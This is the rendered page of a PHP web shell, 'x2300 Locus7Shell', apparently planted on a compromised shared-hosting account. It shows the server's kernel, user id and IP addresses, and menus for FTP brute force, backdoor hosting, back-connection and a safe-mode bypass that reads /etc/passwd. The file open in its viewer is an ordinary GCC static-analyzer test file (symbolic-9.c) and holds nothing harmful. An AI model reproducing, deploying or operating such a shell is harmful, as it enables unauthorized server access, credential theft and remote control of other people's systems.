Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/analyzer/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     symbolic-9.c (6.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include "analyzer-decls.h"

struct st
{
  void *ptr[10];
  int arr[10];
};

/* Various combinations of a pair of writes, involving
   symbolic vs concrete clusters, with symbolic vs concrete keys
   within them.  */

struct st g;

/* "ptr" write: fully concrete.  */

struct st
test_conc_conc_ptr_conc_conc_arr (void)
{
  struct st s;
  s.ptr[1] = __builtin_malloc (1024);
  __analyzer_describe (0, s.ptr[1]); /* { dg-warning "HEAP_ALLOCATED_REGION" } */
  s.arr[5] = 42;
  __analyzer_describe (0, s.ptr[1]); /* { dg-warning "HEAP_ALLOCATED_REGION" } */
  __analyzer_describe (0, s.arr[5]);  /* { dg-warning "42" } */
  return s;
}

struct st
test_conc_conc_ptr_conc_sym_arr (int j)
{
  struct st s;
  s.ptr[1] = __builtin_malloc (1024);
  __analyzer_describe (0, s.ptr[1]); /* { dg-warning "HEAP_ALLOCATED_REGION" } */
  s.arr[j] = 42;
  __analyzer_describe (0, s.ptr[1]); /* { dg-warning "UNKNOWN" } */
  __analyzer_describe (0, s.arr[j]);  /* { dg-warning "42" } */
  return s;
}

struct st
test_conc_conc_ptr_sym_conc_arr (struct st *p)
{
  struct st s;
  s.ptr[1] = __builtin_malloc (1024);
  __analyzer_describe (0, s.ptr[1]); /* { dg-warning "HEAP_ALLOCATED_REGION" } */
  p->arr[5] = 42;
  __analyzer_describe (0, s.ptr[1]); /* { dg-warning "HEAP_ALLOCATED_REGION" } */
  __analyzer_describe (0, p->arr[5]);  /* { dg-warning "42" } */
  return s;
}

struct st
test_conc_conc_ptr_sym_sym_arr (struct st *p, int j)
{
  struct st s;
  s.ptr[1] = __builtin_malloc (1024);
  __analyzer_describe (0, s.ptr[1]); /* { dg-warning "HEAP_ALLOCATED_REGION" } */
  p->arr[j] = 42;
  __analyzer_describe (0, s.ptr[1]); /* { dg-warning "HEAP_ALLOCATED_REGION" } */
  __analyzer_describe (0, p->arr[j]);  /* { dg-warning "42" } */
  return s;
}

/* "ptr" write: symbolic region, but at concrete offset.  */

void
test_sym_conc_ptr_conc_conc_arr (struct st *p)
{
  p->ptr[1] = __builtin_malloc (1024);
  __analyzer_describe (0, p->ptr[1]); /* { dg-warning "HEAP_ALLOCATED_REGION" } */
  g.arr[5] = 42;
  __analyzer_describe (0, p->ptr[1]); /* { dg-warning "UNKNOWN" } */
  __analyzer_describe (0, g.arr[5]);  /* { dg-warning "42" } */
}

void
test_sym_conc_ptr_conc_sym_arr (struct st *p, int j)
{
  p->ptr[1] = __builtin_malloc (1024);
  __analyzer_describe (0, p->ptr[1]); /* { dg-warning "HEAP_ALLOCATED_REGION" } */
  g.arr[j] = 42;
  __analyzer_describe (0, p->ptr[1]); /* { dg-warning "UNKNOWN" } */
  __analyzer_describe (0, g.arr[j]);  /* { dg-warning "42" } */
}

void
test_sym_conc_ptr_sym_conc_arr (struct st *p, struct st *q)
{
  p->ptr[1] = __builtin_malloc (1024);
  __analyzer_describe (0, p->ptr[1]); /* { dg-warning "HEAP_ALLOCATED_REGION" } */
  q->arr[5] = 42;
  __analyzer_describe (0, p->ptr[1]); /* { dg-warning "UNKNOWN" } */
  __analyzer_describe (0, q->arr[5]);  /* { dg-warning "42" } */
}

void
test_sym_conc_ptr_sym_sym_arr (struct st *p, struct st *q, int j)
{
  p->ptr[1] = __builtin_malloc (1024);
  __analyzer_describe (0, p->ptr[1]); /* { dg-warning "HEAP_ALLOCATED_REGION" } */
  q->arr[j] = 42;
  __analyzer_describe (0, p->ptr[1]); /* { dg-warning "UNKNOWN" } */
  __analyzer_describe (0, q->arr[j]);  /* { dg-warning "42" } */
}

/* "ptr" write: concrete region, but at symbolic offset.  */

struct st
test_conc_sym_ptr_conc_conc_arr (int i)
{
  struct st s;
  s.ptr[i] = __builtin_malloc (1024);
  __analyzer_describe (0, s.ptr[i]); /* { dg-warning "HEAP_ALLOCATED_REGION" } */
  s.arr[5] = 42;
  __analyzer_describe (0, s.ptr[i]); /* { dg-warning "UNKNOWN" } */
  __analyzer_describe (0, s.arr[5]);  /* { dg-warning "42" } */
  return s;
}

struct st
test_conc_sym_ptr_conc_sym_arr (int i, int j)
{
  struct st s;
  s.ptr[i] = __builtin_malloc (1024);
  __analyzer_describe (0, s.ptr[i]); /* { dg-warning "HEAP_ALLOCATED_REGION" } */
  s.arr[j] = 42;
  __analyzer_describe (0, s.ptr[i]); /* { dg-warning "UNKNOWN" } */
  __analyzer_describe (0, s.arr[j]);  /* { dg-warning "42" } */
  return s;
}

struct st
test_conc_sym_ptr_sym_conc_arr (int i, struct st *p)
{
  struct st s;
  s.ptr[i] = __builtin_malloc (1024);
  __analyzer_describe (0, s.ptr[i]); /* { dg-warning "HEAP_ALLOCATED_REGION" } */
  p->arr[5] = 42;
  __analyzer_describe (0, s.ptr[i]); /* { dg-warning "HEAP_ALLOCATED_REGION" } */
  __analyzer_describe (0, p->arr[5]);  /* { dg-warning "42" } */
  return s;
} /* { dg-bogus "leak" "PR analyzer/105190" { xfail *-*-* } } */

struct st
test_conc_sym_ptr_sym_sym_arr (int i, struct st *p, int j)
{
  struct st s;
  s.ptr[i] = __builtin_malloc (1024);
  __analyzer_describe (0, s.ptr[i]); /* { dg-warning "HEAP_ALLOCATED_REGION" } */
  p->arr[j] = 42;
  __analyzer_describe (0, s.ptr[i]); /* { dg-warning "HEAP_ALLOCATED_REGION" } */
  __analyzer_describe (0, p->arr[j]);  /* { dg-warning "42" } */
  return s;
} /* { dg-bogus "leak" "PR analyzer/105190" { xfail *-*-* } } */

/* "ptr" write: symbolic region, with symbolic offset.  */

void
test_sym_sym_ptr_conc_conc_arr (struct st *p, int i)
{
  p->ptr[i] = __builtin_malloc (1024);
  __analyzer_describe (0, p->ptr[i]); /* { dg-warning "HEAP_ALLOCATED_REGION" } */
  g.arr[5] = 42;
  __analyzer_describe (0, p->ptr[i]); /* { dg-warning "UNKNOWN" } */
  __analyzer_describe (0, g.arr[5]);  /* { dg-warning "42" } */
}

void
test_sym_sym_ptr_conc_sym_arr (struct st *p, int i, int j)
{
  p->ptr[i] = __builtin_malloc (1024);
  __analyzer_describe (0, p->ptr[i]); /* { dg-warning "HEAP_ALLOCATED_REGION" } */
  g.arr[j] = 42;
  __analyzer_describe (0, p->ptr[i]); /* { dg-warning "UNKNOWN" } */
  __analyzer_describe (0, g.arr[j]);  /* { dg-warning "42" } */
}

void
test_sym_sym_ptr_sym_conc_arr (struct st *p, int i, struct st *q)
{
  p->ptr[i] = __builtin_malloc (1024);
  __analyzer_describe (0, p->ptr[i]); /* { dg-warning "HEAP_ALLOCATED_REGION" } */
  q->arr[5] = 42;
  __analyzer_describe (0, p->ptr[i]); /* { dg-warning "UNKNOWN" } */
  __analyzer_describe (0, q->arr[5]);  /* { dg-warning "42" } */
}

void
test_sym_sym_ptr_sym_sym_arr (struct st *p, int i, struct st *q, int j)
{
  p->ptr[i] = __builtin_malloc (1024);
  __analyzer_describe (0, p->ptr[i]); /* { dg-warning "HEAP_ALLOCATED_REGION" } */
  q->arr[j] = 42;
  __analyzer_describe (0, p->ptr[i]); /* { dg-warning "UNKNOWN" } */
  __analyzer_describe (0, q->arr[j]);  /* { dg-warning "42" } */
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.006 ]--